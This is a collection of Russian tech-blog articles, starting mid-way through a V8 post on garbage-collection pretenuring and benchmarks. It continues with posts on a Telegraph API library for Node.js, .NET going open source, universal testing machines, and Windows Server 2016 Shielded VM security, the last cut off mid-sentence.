паузы на сборку). Так мы пришли к механизму, который называется allocation site pretenuring . При запуске в базовом коде он пытается динамически собирать обратную связь из точек размещения (allocation sites), чтобы решить, выживет ли определённая доля размещённых объектов. Если да, он генерирует оптимизированный код для прямого размещения объектов в старом пространстве — pretenure объектов . $ out/Release/d8 --trace-gc octane-splay.js [20885:0x7ff4d7c220a0] 8 ms: Scavenge 2.7 (6.0) -> 2.6 (7.0) MB, 1.2 / 0.0 ms allocation failure [20885:0x7ff4d7c220a0] 10 ms: Scavenge 2.7 (7.0) -> 2.7 (8.0) MB, 1.6 / 0.0 ms allocation failure [20885:0x7ff4d7c220a0] 11 ms: Scavenge 3.6 (8.0) -> 3.6 (10.0) MB, 0.9 / 0.0 ms allocation failure [20885:0x7ff4d7c220a0] 17 ms: Scavenge 4.8 (10.5) -> 4.7 (11.0) MB, 2.9 / 0.0 ms allocation failure [20885:0x7ff4d7c220a0] 20 ms: Scavenge 5.6 (11.0) -> 5.6 (16.0) MB, 2.8 / 0.0 ms allocation failure [20885:0x7ff4d7c220a0] 26 ms: Scavenge 8.7 (16.0) -> 8.6 (17.0) MB, 4.5 / 0.0 ms allocation failure [20885:0x7ff4d7c220a0] 34 ms: Scavenge 9.6 (17.0) -> 9.5 (28.0) MB, 6.8 / 0.0 ms allocation failure [20885:0x7ff4d7c220a0] 48 ms: Scavenge 16.6 (28.5) -> 16.4 (29.0) MB, 8.6 / 0.0 ms allocation failure [20885:0x7ff4d7c220a0] 64 ms: Scavenge 17.5 (29.0) -> 17.5 (52.0) MB, 15.2 / 0.0 ms allocation failure [20885:0x7ff4d7c220a0] 96 ms: Scavenge 32.3 (52.5) -> 32.0 (53.5) MB, 19.6 / 0.0 ms allocation failure [20885:0x7ff4d7c220a0] 153 ms: Scavenge 61.3 (81.5) -> 57.4 (93.5) MB, 27.9 / 0.0 ms allocation failure [20885:0x7ff4d7c220a0] 432 ms: Scavenge 339.3 (364.5) -> 326.6 (364.5) MB, 12.7 / 0.0 ms allocation failure [20885:0x7ff4d7c220a0] 666 ms: Scavenge 563.7 (592.5) -> 553.3 (595.5) MB, 20.5 / 0.0 ms allocation failure [20885:0x7ff4d7c220a0] 825 ms: Mark-sweep 603.9 (644.0) -> 96.0 (528.0) MB, 4.0 / 0.0 ms (+ 92.5 ms in 51 steps since start of marking, biggest step 4.6 ms, walltime since start of marking 160 ms) finalize incremental marking via stack guard GC in old space requested [20885:0x7ff4d7c220a0] 1068 ms: Scavenge 374.8 (528.0) -> 362.6 (528.0) MB, 19.1 / 0.0 ms allocation failure [20885:0x7ff4d7c220a0] 1304 ms: Mark-sweep 460.1 (528.0) -> 102.5 (444.5) MB, 10.3 / 0.0 ms (+ 117.1 ms in 59 steps since start of marking, biggest step 7.3 ms, walltime since start of marking 200 ms) finalize incremental marking via stack guard GC in old space requested [20885:0x7ff4d7c220a0] 1587 ms: Scavenge 374.2 (444.5) -> 361.6 (444.5) MB, 13.6 / 0.0 ms allocation failure [20885:0x7ff4d7c220a0] 1828 ms: Mark-sweep 485.2 (520.0) -> 101.5 (519.5) MB, 3.4 / 0.0 ms (+ 102.8 ms in 58 steps since start of marking, biggest step 4.5 ms, walltime since start of marking 183 ms) finalize incremental marking via stack guard GC in old space requested [20885:0x7ff4d7c220a0] 2028 ms: Scavenge 371.4 (519.5) -> 358.5 (519.5) MB, 12.1 / 0.0 ms allocation failure [...SNIP...] $ Это и в самом деле помогло полностью решить проблему с бенчмарком SplayLatency и улучшить результат на 250 %! Источник: arewefastyet.com . Как говорится в статье про SIGPLAN , у нас были причины верить, что allocation site pretenuring может быть хорошим решением для реальных проектов. И мы хотели увидеть улучшения в этом механизме, а также получить возможность применять его не только к объектам и литералам массивов. Но вскоре поняли ( 1 , 2 , 3 ), что allocation site pretenuring может плохо повлиять на производительность реальных проектов. Мы получили много негативных отзывов, в том числе бурление говн от разработчиков Ember.js (правда, не только из-за allocation site pretenuring). Главная проблема allocation site pretenuring, как мы выяснили, — фабрики классов, которые сегодня используются очень часто (в основном из-за фреймворков, но и по ряду других причин). Допустим, фабрика изначально применялась для создания долгоживущих объектов, формирующих вашу объектную модель и виды, она в фабричном(-ых) методе(-ах) переводит точку размещения (allocation site) в состояние tenured , а всё размещённое из фабрики немедленно попадает в старое пространство. Тогда после начальной настройки ваше приложение начинает что-то делать, в том числе размещает временные объекты из фабрики, которые засоряют старое пространство, что в итоге приводит к дорогим циклам сборки мусора и прочим негативным побочным эффектам вроде слишком раннего запуска инкрементальной маркировки (incremental marking). Поэтому мы начали искать подходящие решения. В итоге, пытаясь улучшить сборку мусора, пришли к Orinoco . Одним из результатов наших изысканий стал проект унифицированной кучи (unified heap), с помощью которого мы пытаемся избежать копирования объектов, если на странице выживает почти всё. На верхнем уровне: если новое пространство заполнено живыми объектами, то все его страницы помечаются принадлежащими старому пространству, после чего создаётся свежее новое пространство с пустыми страницами. Возможно, в бенчмарке SplayLatency это не даст такого же результата, но так гораздо лучше для реальных проектов. К тому же этот подход автоматически масштабируется под конкретную ситуацию. Также мы рассматриваем использование одновременной маркировки (concurrent marking) для вынесения работы по маркировке в отдельный тред, что ещё больше снизит отрицательное влияние инкрементальной маркировки на задержку и пропускную способность (throughput). Заключение Надеюсь, теперь вам понятно, почему сегодня использование бенчмарков в целом неплохая идея, но только до какого-то предела. И, выйдя за границы полезной конкуренции , вы начнёте попусту тратить время своих разработчиков, а то и навредите производительности реальных проектов! Пора оценивать браузеры по их настоящей производительности, а не по способности побеждать в бенчмарках четырёхлетней давности. Пора обучать журналистов, а если не получится, то игнорировать их. Источник: Битва браузерных бенчмарков в октябре 2016-го: Chrome vs. Firefox vs. Edge, venturebeat.com . Мы не боимся конкуренции, но игры с потенциально сломанными бенчмарками — не самое полезное занятие. Можно сделать гораздо больше, подняв JavaScript на новый уровень. Давайте ориентироваться на более осмысленные тесты производительности, которые поспособствуют конкуренции там, где это полезно для конечных пользователей и разработчиков. И заодно давайте продвигать полезные улучшения в серверном и инструментальном коде, выполняющемся в Node.js (как и на V8, и на ChakraCore)! Завершающий комментарий: не используйте традиционные JavaScript-бенчмарки для сравнения телефонов. Это самое бесполезное, что можно сделать. Производительность JavaScript часто сильно зависит от программного обеспечения, а вовсе не от железа. К тому же новые версии Chrome выходят каждые шесть недель, так что мартовские сравнения будут неактуальны уже в апреле. А если вам никак не избежать браузерных сравнений, то хотя бы используйте свежие полноценные браузерные бенчмарки, например Speedometer , которые выполняют что-то похожее на реальные задачи. Спасибо!
https://habrahabr.ru/company/mailru/blog/318282/
habrahabr
Фреймворк для работы с Telegraph API
['бот', 'telegram', 'telegraph', 'api', 'bot']
20 декабря 2016 года Telegram открыл API к Telegraph. Для работы с ним я написал простую и функциональную библиотеку под JavaScript. Пару слов о Telegraph Telegraph — это сервис заметок и...
20 декабря 2016 года Telegram открыл API к Telegraph . Для работы с ним я написал простую и функциональную библиотеку под JavaScript . Пару слов о Telegraph Telegraph — это сервис заметок и рассказов выполненный в минималистическом стиле, разработанный командой Telegram. Так же поддержка Instant View при просмотре из Telegram'а. → Более подробно про Telegraph Установка npm install --save telegraph-node Подключение const telegraph = require('telegraph-node') const ph = new telegraph() Доступные методы createAccount editAccountInfo getAccountInfo revokeAccessToken createPage editPage getPage getPageList getViews createAccount Создание аккаунта: ph.createAccount(short_name, options).then((resulr) => { console.log(result) }) editAccountInfo Редактирование аккаунта: ph.editAccountInfo(access_token, options).then((resulr) => { console.log(result) }) getAccountInfo Получение информации о аккаунте: ph.getAccountInfo(access_token, options).then((resulr) => { console.log(result) }) revokeAccessToken Перевыпуск токена: ph.revokeAccessToken(access_token).then((resulr) => { console.log(result) }) createPage Создание страницы: ph.createPage(access_token, title, content, options).then((resulr) => { console.log(result) }) editPage Редактирование страницы: ph.editPage(access_token, path, title, content, options).then((resulr) => { console.log(result) }) getPage Получение страницы: ph.getPage(path, options).then((resulr) => { console.log(result) }) getPageList Получение список страниц: ph.getPageList(access_token, options).then((resulr) => { console.log(result) }) getViews Получение кол-во просмотра страницы: ph.getViews(path, options).then((resulr) => { console.log(result) }) Обработка запросов Для обработки и отправки POST запросов к API, я использовал фреймворк Tiny Request Применение Я буду применять её для создания Telegram Bot. Часто бывает что нужно отображать большой объём информации с картинками и локацией, отправка многих сообщений решает проблему, но я считаю, что Telegraph с его Instant View справиться лучше. GitHub → Telegraph-Node Спасибо всем тем, кто осилил статью. Жду ваших отзывов и предложение! Update: Поддержка Promise
https://habrahabr.ru/post/318474/
habrahabr
Перевод .NET в Open source принес Microsoft ощутимую пользу
['microsoft', 'IDE', '.NET', 'Visual Studio', 'статистика', 'Github', 'open source']
Последние годы Microsoft пытается стать более дружелюбной для разработчиков компанией и активно участвует в жизни open source-сообщества. Сегодня Microsoft имеет один из крупнейших репозиториев...
Последние годы Microsoft пытается стать более дружелюбной для разработчиков компанией и активно участвует в жизни open source-сообщества. Сегодня Microsoft имеет один из крупнейших репозиториев на GitHub , из посвященных разработке свободного ПО. Кроме этого некоторые проприетарные продукты компании переводятся в статус открытого программного обеспечения. Одним из успехов технологического гиганта в этой области можно назвать перевод .NET в статус open source-продукта с публикацией исходного кода на GitHub. Произошло это еще в ноябре 2014 года — более двух лет назад — и сегодня можно с уверенность констатировать, что этот шаг компании принес ей больше пользы, чем вреда. В условиях жесткой конкуренции за внимание разработчиков, классически закрытая от посторонних Microsoft, пошла на нетипичный для себя шаг, но, несомненно, выиграла от этого. В открытый доступ были выложены ASP.NET, компилятор .NET, окружение .NET Core, сам фреймворк и библиотеки. Таким образом, компания позволила работать с .NET разработчикам на Mac и Linux. По статистике, приведенной в блоге mattwarren.org , с момента публикации исходников .NET на Github количество активных разработчиков на VS 2012+ выросло на 61%: Кроме этого сообщество активно участвует в разработке совместно с Microsoft: Количество пулл-реквестов от сообщества не так впечатляет, но факт того, что на долю сообщества приходится, в среднем, 20-40% активности, говорит об интересе разработчиков к разделу компании: «Сорок процентов пользователей .NET Core — новые разработчики», — утверждает директор .NET-подразделения Microsoft Скотт Хантер. «Мы хотим привлекать новых людей». Можно ли назвать опыт взаимодействия с Open source-сообществом позитивным для Microsoft? Безусловно. Косвенно об этом свидетельствует недавний выпуск превью Visual Studio для Mac , который компания сделала в ноябре этого года. Скотт Хантер утверждает, что это будет первый случай портирования IDE компании на платформу, отличную от Windows. При этом в разрабатываемом IDE Visual Studio 2017 включено упрощение синтаксиса для работы с open source проектами на .NET Core, то есть компания берет курс на сближение как можно большего числа своих продуктов с Open source-сообществом и, соответственно, на максимизацию аудитории.
https://habrahabr.ru/company/inoventica/blog/318478/
habrahabr
Универсальные испытательные машины (разрывные машины). Часть 2
['Физика', 'Испытательные машины', 'ИвМашДеталь', 'разрывные машины']
В дополнение первой части пишу продолжение, так как появилось несколько неосвещенных мной вопросов. Первая статья в данной теме была написана как обозревательная разнообразного множества...
В дополнение первой части пишу продолжение, так как появилось несколько неосвещенных мной вопросов. Первая статья в данной теме была написана как обозревательная разнообразного множества испытательных, разрывных машин. Хотелось бы начать рассказ с конструкции классической испытательной двух винтовой машины, для лучшего понимания работы подобных систем. Все подобные двухвинтовые (двухколонные) машины устроены примерно одинаково, основное отличие только в приводной части, обеспечивающей вращение ходовых винтов. Винты обычно ставятся ШВП, но в зависимости от класса (категории) машины могут устанавливаться и трапециидальные. Приводная часть машины состоит из двигателя асинхронного (модернизированного энкодером) или серводвигателя, раньше (лет 20 назад) на сколько я знаю, ставили здоровые движки постоянного типа. Двигатель соединяется с раздаточным редуктором – это может быть как один многоступенчатый редуктор или несколько редукторов различного типа, в основном это червячные редуктора, которые комбинируют друг с другом или с редукторами другого типа, например ременными или как показано на схеме раздаточными косозубыми шестернями. Любая подобная машина состоит из основания, в котором располагается приводная часть и электрическая часть, на основании установлена нижняя плита достаточной толщины чтобы избежать прогибов во время испытаний / нагрузки. Вращение винтов обеспечивает движение подвижной траверсы. Винты крепятся в подшипниковых стаканах в верхней плите (иногда и в нижней). Подобная кинематическая схема образует две зоны для испытаний: нижнюю – между нижней плитой и траверсой и верхнюю – между траверсой и верхней плитой. Кинематическая схема машины заложена с двух кратным запасом в отличие от китайских коллег, это увеличивает дополнительную жесткость, что повышает точность и срок службы, который как я слышал должен быть не менее 10лет, но сколько в реальности они служат пока не знаю, хотя судя по старым машинам годов 80-х, то со сроком службы у них все в порядке. Исходя из простого описания конструкции, наверное становится понятно чем отличается простой магазинный пресс от испытательной машины. Из комментариев к прошлой статья я заметил, что многие путают, или не до поняли, или потому что я не уточнил, что есть два типа машин по типу создания нагрузки (перемещения траверсы): гидравлические и винтовые. Гидравлические машины обычно рассчитаны на большие нагрузки, от 10тонн и выше (в магазине продаются пресса и на меньшую нагрузку). У них есть такая проблема как точность позиционирования, особенно она зависит от скорости перемещения штока, наличие гидростанции тоже создает некоторые сложности. А устанавливать сервогидравлику очень дорого (по ценам не сориентирую, давно не интересовался). Изготавливать самим, требует достаточных временных и финансовых затрат (почему бы в это не вложится, постараюсь разъяснить в ценообразовании). Мы (наша организация) в основном разрабатываем и производим винтовые машины с нагрузкой до 20тонн, кинематика которых описана выше. Магазинные пресса уступают испытательным машинам, так как в них отсутствует определенная жесткость конструкции, датчик силы, нестабильные скоростные характеристики, система получения информации и управления. Да и вообще основное отличие – это назначение, пресс не может являться испытательной машиной. Испытательная машины является испытательной, если на нее получен сертификат поверки из ЦСМ (Центр Стандартизации, Метрологии), и она занесена в государственный реестр. Так же, исходя из ГОСТа (если такой существует) на испытание того или иного материала, в нем прописан ГОСТ, на требования которым должна соответствовать испытательная машина. Теперь то, что касается точности. Она помимо жесткости и прецизионности сборки машины еще зависит от класса применяемых датчиков и электроники способной обработать полученные с них данные. В машине используются датчики перемещения (энкодеры) и датчики силы (тензодатчики). В качестве энкодеров в основном используются инкрементные датчики угла поворота от 2000 импульсов на оборот, установленный на один из ходовых винтов. Силовую (нагрузочную) характеристику снимает тензодатчик, обычно они построены на основе тензорезисторов включенных по мостовой схеме. С этого типа датчика получаем аналоговой сигнал, который обрабатывается АЦП и значение передается в основной контроллер. По исполнению они бывают: S-образные, в виде шайбы и бруска. С помощью тонзометрических датчиков можно измерять не только нагрузку но и деформацию, но в очень маленьком диапазоне (1-2мм). Теперь про ПО (программное обеспечение), расскажу про то которое писал лично, сейчас же используется ПО другого программиста так как я уперся в профессиональные знания, которых у меня не хватало, да и одному заниматься от разработки и производства механики до программного обеспечения – это уже слишком. Упущу описание электронной части, но вкратце скажу что между ней и компьютером происходит двухсторонний обмен информацией. На ПК приходит массив данных о силе и перемещении и времени, также информация о состоянии кнопок, конечников. В ПО на ПК происходит тарировка (калибровка), значений с датчиков, полученных из массива. То есть происходит соотношение напряжения полученного с датчика силы с реальным значением нагрузки (массы, например кг или Н). Значению полученных импульсов с энкодера тоже присваивается определенно расстояние перемещения ходовой траверсы, точнее происходит соотношение одного импульса датчика с перемещением траверсы. Когда все значения: нагрузка, перемещение, скорость, показываются нам в требуемых величинах, но можно переходить к настройке испытания. Простое испытание в котором требуется определить максимальную нагрузку при которой разрушается образец, настраивается только критерий останова машины при разрушении образца. Что это значит: это условие при котором испытание автоматически завершится, движение траверсы остановится и результаты появятся в таблице. Это условие еще необходимо при сложных испытательных зависимостях, например, таких как на металл. Критерий останова — это процентная составляющая нагрузки, спад которой произойдет за определенное время. Помимо максимального разрушающего усилия можно рассчитать еще много параметров, которые зависят от физических размеров образца. Обычно для набора статистики, испытания складываются в серии испытаний. Снял не большое видео по программе, думаю, кому сильно интересно то можно разобраться, все подписано на Русском языке. Вкратце по технической части затронул многое, не знаю, на сколько хорошо и доступно удалось все изложить, пишите в комментариях. Теперь о наболевшем! О торгашах и «законах рынка»… Сразу рассказу о ценообразовании. И на сколько я знаю это относится (можно отнести) не только к испытательным машинам. К примеру, возьмем машину с нагрузкой до 5тонн: Конструирование вместе с производством, покупными элементами обходится в 300т.р. это все штучное производство и постоянно от новой к новой машине, что то правится и добавляется (я имею ввиду конструкцию). Цена указанна с прибылью. Электрическая часть, в которую входит двигатель, привод, датчики, кнопки, провода, контроллер, компьютер, программное обеспечение, и все вместе с прибылью (ЗП разработчикам) это выходит в 150 т.р. В итоге машина собрана, налажена и готова к работе за 450 т.р., остаются некоторые второстепенные расходы на получения сертификата поверки и упаковки, в сумме это не более 15 т.р. Внесение одного типа машины в гос. реестр, стоит примерно 250 т.р. и на все время производство подобных машин, (эту цену включать в общую стоимость машины пока не будем). Стоимость продажи машины торгашом выходит от 700 т.р. Это я описал примерную стоимость бюджетного варианта машины с трапециидальными винтами. Торгаш, получается, наваривает с продажи одной машины от 200 т.р. и больше, но что он в реальности сделал: в виду того, что раньше он работал на дядю в этой области заимел опыт работы и продаж, заимел сайт, нашел разработчиков электроники (самостоятельная организация), разработчиков механики (нас — самостоятельная организация). Как бы он молодец, но чуть снизив свой доход можно было бы увеличить продажи (особенно в кризис) и тем самым увеличились бы заработки разработчиков механики и электроники. А нет, он начал торговаться с нами, чтобы мы снизили цену, но мы и так работаем с минимальной выгодой только чтобы платить заработную плату рабочим, в итоге получилось так что за разработку и конструирование мы не чего не берем. Работаем за идею – глупо конечно в наше время, но работать тоже надо… Здесь наверное не место конечно чтобы рассуждать на этот счет… Описал на сколько смог ценообразование, про торгашей конечно отдельная история. Дело не в личностях, а в системе, так как им без разницы что продавать, от них страдает экономика нашей страны, да и вообще по моему мнению это женское занятие, но что делать работа есть работа, кушать все хотят, кто знает, может и я лично устроюсь торговать. Если присутствуют здесь торгаши, прошу не обижаться — «по отдельности вы не плохие ребята».
https://geektimes.ru/post/284088/
habrahabr
Технология Shielded VM в Windows Server 2016
['Shielded', 'Windows Server', 'хостинг']
Не нужно углубляться в технологии гипервизоров и средства виртуализации, чтобы понять, какие впечатляющие возможности открывают виртуальные машины. В любом центре обработки данных виртуализация...
Не нужно углубляться в технологии гипервизоров и средства виртуализации, чтобы понять, какие впечатляющие возможности открывают виртуальные машины. В любом центре обработки данных виртуализация сегодня является ключевым элементом. С виртуальными машинами упростились задачи развертывания, управления, обслуживания и автоматизации ИТ-инфраструктуры, широкое распространение получили услуги VPS . Но, несмотря на многочисленные преимущества, виртуализация также требует особых подходов к обеспечению безопасности виртуальной инфраструктуры и приложений. Безопасен ли хостинг? В случае виртуальных машин (ВМ) мы берем операционную систему, приложения и инкапсулируем их в несколько файлов ВМ, получая возможность запустить несколько виртуальных машин (иногда десятки) на одной системе одновременно. Виртуальные машины упрощают процессы миграции, резервного копирования, репликации, но это также означает, что проще стало изменить или даже скопировать всю ВМ, весь ваш виртуальный сервер по сети или на USB-флэшку и унести с собой. Это касается не только коммерческих, но даже корпоративных дата-центров. Как пример – контроллер домена, развернутый в вашем ЦОД. Представьте себе, если контроллер домена покинет пределы вашей организации. Это буквально «ключи от квартиры, где деньги лежат». Поскольку все хранится централизованно, можно вынести десятки ВМ и запустить их где-то в другом месте. А в случае хостинга у стороннего провайдера проблема становится еще более острой. Поэтому излишне говорить об актуальности проблемы защиты данных внутри виртуальных машин – размещенных как в публичных облаках, так и в частном внутреннем облаке. Причем она характерна для любой платформы виртуализации, будь то VMware, Hyper-V, Xen, KVM и пр. Как и от кого нужно защищать данные? Должны ли иметь к ним доступ админы с различными ролями – администраторы виртуализации, администраторы домена, администраторы сети, администраторы дисковых хранилищ? Шифрование и TPM – не панацея Некоторые скажут: если в качестве операционной системы хоста используется Windows Server, то проблема решается шифрованием. Достаточно добавить к ВМ виртуальный Trusted Platform Module (TPM), и можно будет шифровать ее содержимое с помощью BitLocker. Идея хорошая, но не работает. Нужна более сильная защита от козней админов. Ведь администратор теоретически может делать с системой все, что угодно, то есть он в состоянии снять любую защиту ВМ, если не принять особых мер. Например, в случае виртуального TPM (vTPM) он может найти ключ шифрования в памяти и расшифровать ВМ. Нужна настоящая защита ВМ, которая позволит запускать ее только в конкретной инфраструктурной среде и полностью обезопасит от действий администратора, устраняя тем самым слабое звено в системе ИБ, ведь админа потенциально можно путем обмана, подкупа или шантажа заставить сделать все, что угодно. Причем такой способ гораздо дешевле и доступнее, чем хакерские кибератаки. Для этого и служит технология Shielded VM в Windows Server 2016 (в терминологии Microsoft – экранированные виртуальные машины), ограничивающая доступ к ВМ админов и защищающая виртуальные машины от вредоносного кода. Технология экранирования виртуальных машин Shielded VM – еще одна причина обратить внимание на Windows Server 2016. Кому же она нужна в первую очередь? Кому Зачем Хостерам Могут гарантировать защиту данных клиентов от любых действий администраторов ЦОД. Заказчикам Могут перенести нагрузку в облако или коммерческий ЦОД и при этом не опасаться за сохранность, конфиденциальность и целостность своих информационных активов, соответствовать требованиям регуляторов. Предприятиям Получают возможность четко отделить администраторов Hyper-V от выполнения ответственных нагрузок. Как это реализовано? Как же устроена защита Shielded VM ? Во-первых, технологии обеспечения информационной безопасности с аппаратными функциями защиты изолируют ВМ от администраторов хоста. Во-вторых, служба Host Guardian Service может идентифицировать законные хосты Hyper-V и защищать ключи шифрования конкретных Shielded VM. В-третьих, это делается помощью поддержки virtual Trusted Platform Module (vTPM) второго поколения для ВМ. Широко используется шифрование и аутентификация. Итак, по порядку. Shielded VM – принципиально новая технология Windows Server 2016 . Однако и старое доброе шифрование в ней также используется. Хоть это и не панацея, без него никак не обойтись. Оно позволяет владельцу виртуальной машины включить шифрование томов внутри гостевой ОС, например, с помощью того же BitLocker. Тем самым содержимое ВМ становится недоступным как для вредоносного кода, если тот окажется на узле Hyper-V, где расположена ВМ, так и для администратора этого узла. Технология Shielded VM защищает виртуальные машины от компрометации и от админов любого уровня путем шифрования диска и состояния ВМ, после чего доступ к ней будет иметь только владелец. И, самое интересное, что ключи шифрования никогда не хранятся на узлах Hyper-V с экранированными ВМ, что позволяет существенно повысить безопасность решения в целом. Еще одно новое средство Windows Server – Host Guardian Service (HGS) – проверяет, может ли Shielded VM быть запущена на данном хосте, законный, доверенный ли это хост-сервер. Для этого используются средства аттестации хоста и метрики аппаратной загрузки, а также функции проверки кода (Code Integrity). Все это позволяет проверить отвечает ли хост требуемым критериям, и можно ли запускать на нем ВМ. Host Guardian Service обеспечивает аттестацию – проверку хоста Hyper-V и защиту ключа, необходимого для запуска защищенной виртуальной машины Shielded VM. HGS запускается как роль Windows Server 2016 и включает две отдельных службы – аттестации и защиты ключей. Таким образом, упрощенно процесс экранирования ВМ по шагам выглядит так: Шифрование состояния ВМ и ее данных, устранение избыточного административного доступа к виртуальной машине. Копирование такой ВМ просто теряет смысл. Ключи шифрования хранятся на внешней системе. Просто виртуальный или аппаратный TPM для этого не подходит по двум причинам: ВМ «склонны к переездам» с сервера на сервер, да и администратор сервера имеет доступ к TPM. В Server 2016 для такого внешнего хранения как раз и используется служба Host Guardian Service. ВМ при запуске получает ключ с доверенного хоста посредством HGS. Подобным образом можно защищать гостевые ОС Windows Server 2016, 2012 R2, 2008. В планах – Linux. Служба защиты узла Host Guardian Service – новая роль в Windows Server 2016, которая позволяет защитить виртуальные машины и данные в них от несанкционированного доступа даже со стороны администраторов Hyper-V. Поскольку ключи шифрования никогда не хранятся на узлах Hyper-V с экранированными ВМ, это позволяет существенно повысить безопасность решения в целом. Работает HGS следующим образом: Хост Hyper-V запрашивает ключ у HGS. HGS отвечает, что не имеет данных о законности хоста Hyper-V. Тогда хост Hyper-V отправляет HGS свои идентификационные данные. HGS передает хосту Hyper-V сертификат соответствия. Хост Hyper-V снова отправляет запрос и передает HGS сертификат. В ответ HGS передает ключ шифрования в зону безопасности среды виртуализации хоста Hyper-V. Тем самым содержимое ВМ остается недоступным как для вредоносного кода на узле Hyper-V, где расположена ВМ, так и для администратора этого узла. От каких типов атак защищает технология Shielded VM? Они перечислены ниже. Вектор атаки Защита Shielded VM Кража VHD системным администратором Shielded VM предусматривает шифрование VHD, ключ хранится вне хоста. Использование режима отладки в Hyper-V Хост HGS не выдает ключи хостам с отладчиками. Служба HGS позволяет это контролировать. Заражение хоста Hyper-V вредоносным кодом. Все ПО на хосте (в режиме kernel mode, user mode и драйверы) отслеживается, контролируется целостность кода (CI). Заражение шаблона диска ВМ. Shielded VM развертываются только из проверенных шаблонов. Попытка миграции Shielded VM на недоверенный хост. Доверенные хосты добавляются в HGS с уникальными идентификаторами своих TPM. Новый, не добавленный хост распознаваться не будет. Отметим, что от DDoS-атак Shielded VM не защищает – нужен отдельный сервис . Для загрузки Shielded VM используется Unified Extensible Firmware Interface (UEFI), а не традиционный BIOS, обеспечивается защита Secure Boot, включается шифрование диска ВМ с помощью BitLocker. Данные ВМ защищены BitLocker в том числе и при миграции Live Migration. Shielded VM ограничивает доступ к виртуальной машине администраторов разного уровня. Такой достум имеет только сам администратор ВМ. Таким образом, Host Guardian Service, – новая роль в Windows Server 2016 – позволяет защитить ВМ от несанкционированного доступа администраторов хоста Hyper-V. Админ, не имеющий полных прав на Shielded VM, сможет только запускать или останавливать такую виртуальную машину, но не менять ее настройки или видеть содержимое. Для Shielded VM требуется гостевая ОС Windows Server 2012 или Windows 8 или выше. Защищенные (экранированные) виртуальные машины Shielded VM можно создавать и на портале Azure Management Pack Portal. Стандартные виртуальные машины также могут быть преобразованы в защищенные. При этом, как уже отмечалось, виртуальные диски шифруются с помощью BitLocker. Доверяй, но проверяй Как можно аттестовать хост, то есть убедиться, что ВМ запускается на доверенной системе и на члене домена? Для этого есть два способа: облегченный (Admin-Trusted) и усиленный (TPM-based). Первый в основном предназначен для ЦОД предприятий или для особо доверенных хостинг-провайдеров и основан на Active Directory: для авторизации хоста на запуск ВМ его включают в группу AD. Аппаратная проверка отсутствует – годятся любые серверы (без криптопроцессора). Это программный способ проверки доверенных узлов. Второй, предназначенный для основной массы хостеров, более сложен и требует оборудования с поддержкой криптопроцессора TPM 2.0 и UEFI 2.3.1. Такое оборудование пока что встречается редко. Так что выбор конкретного метода защиты зависит еще и от возможностей аппаратных средств. Аппаратный процесс аттестации выглядит так: Запускается Shielded VM. Клиент инициирует протокол аттестации. Хост отправляет метрики и результаты контроля целостности кода. Валидируются метрики хоста. Хосту выдается подписанный сертификат аттестации. Тем самым разрешается запуск ВМ. При наличии TMP применяется аппаратная проверка – в зависимости от настроек проверяются бинарники, гипервизоры и пр. Что делать, если нет соответствующих аппаратных средств – TPM 2.0 и UEFI? Можно использовать программные. Аттестация хоста выполняется через Kerberos и контроллер домена. Данные ВМ также шифруются и защищены от админов, но нет защиты ВМ на системном уровне, например, от вирусов или кейлоггеров. Тем не менее, данный уровень безопасности в большинстве случаев считается адекватным. Он требует только конфигурирования группы AD. AD при программном методе (Admin-Trusted) используется для хранения информации – вместо TMP. При аппаратном методе выполняется больше проверок, например, проверяется «состояние здоровья» ВМ и узла, однако программный метод дает возможность использовать существующую ИТ-инфраструктуру, поэтому в ближайшее время он будет основным. Для защиты от сбоев рекомендуется развертывать три сервера HGS. Для поиска узла HGS можно использовать DNS. Отметим, что обновлять HGS нужно вместе с хостом виртуализации. Теоретически эти серверы HGS могут быть и виртуальными (работать как Shielded VM), но такая конфигурация ненадежна и не запустится после сбоя – рекомендуется как минимум один физический сервер HGS или хотя бы обычный виртуальный (не Shielded VM). Управляется HGS из PowerShell или с консоли, поддерживается режим высокой доступности (HA), масштабирование. Особое внимание следует уделять безопасности HGS – рекомендуется физическая защита сервера. Microsoft рекомендует также разрешить для HGS функции BitLocker и SecureBoot, включить межсетевой экран и присвоить каждому узлу HGS как минимум один статический IP. Чтобы разрешить SSL для вызовов REST API, потребуется действующий сертификат SSL. В нем указывается имя HGS Service FQDN. Тотальная защита Все это вписывается в концепцию Microsoft Virtualization Based Security (VBS), предполагающую защиту гипервизоров, сетей и пр. Для обеспечения безопасности и изоляции VBS использует расширения платформы виртуализации. В Hyper-V VBS применяется для защиты ОС хоста и гостевых ВМ, серверов и клиентов. Virtualization-based Security (VBS) использует аппаратную технологию защиты для создания зоны безопасности, изолированной от ядра и приложений. Тем самым обеспечивается защита от внешних атак. К аппаратной платформе VBS предъявляет следующие требования: наличие UEFI 2.3.1c для безопасной и контролируемой загрузки, TPM v2.0 для защиты ресурсов, расширения виртуализации (Intel VT-X, AMD-V), трансляция адресов (Intel EPT, AMD RVI), защита памяти гипервизором. Важная задача – обеспечение проверки целостности кода (Hypervisor Enforced Code Integrity). В настоящее время проверки CI осуществляются из ядра, и, если ядро скомпрометировано, код будет выполнен. В VBS это делается безопасно. Гипервизор проверяет права доступа к каждой странице памяти, права выполнения размещенного там кода и целостность данных. Тем самым существенно ограничиваются потенциальные атаки через операции с памятью и реализуется защита от некорректных драйверов. Code Integrity с помощью Virtualization-Based Security гарантирует запуск в системе с момента ее старта только разрешенного двоичного кода. VBS включает в себя множество архитектурных изменений и отдельных средств. Например, Virtual Security Mode (VSM) серьезно ограничивает действия хоста и ВМ. В рамках VMS реализована безопасная среда выполнения ОС и гостевых ВМ, проверяется их целостность, а также усилена безопасность применяемого в Shielded VM процесса VM Worker Process для защиты информации о состоянии ВМ. Virtual TMP (vTPM) для гостевых машин поддерживает сервисы TPM, например, шифрование диска. Необходимо не только ограничить права доступа админа хоста к гостевым ВМ. Администратор не должен вмешиваться в работу операционной системы хоста – гипервизор также нужно защитить от его действий. Эти механизмы – ключевые в реализации VSM, предполагающей защиту платформ, виртуальных машин и виртуального оборудования. По сути, VMS – набор методов контроля оперативной памяти (ее защиты, распределения, прав доступа), разграничения между операционными системами, операций с «секретами» платформы без их раскрытия. VMS позволяет выстраивать новые уровни безопасности – Virtual Trust Levels (VTL). В Windows Server 2016 наряду со встроенными уровнями безопасности можно создавать новые VTL с более жесткими требованиями. VTL обеспечивает изоляцию памяти, защищает доступ к физической памяти. На уровне VTL0 работают незащищенные ВМ, на уровне VTL1 – экранированные ВМ. Можно создавать дополнительные уровни VTL – они иерархические. Админ не может изменить VTL из ОС хоста. Что такое ВМ, работающая в режиме VSM? Это уменьшенное ядро (proxy 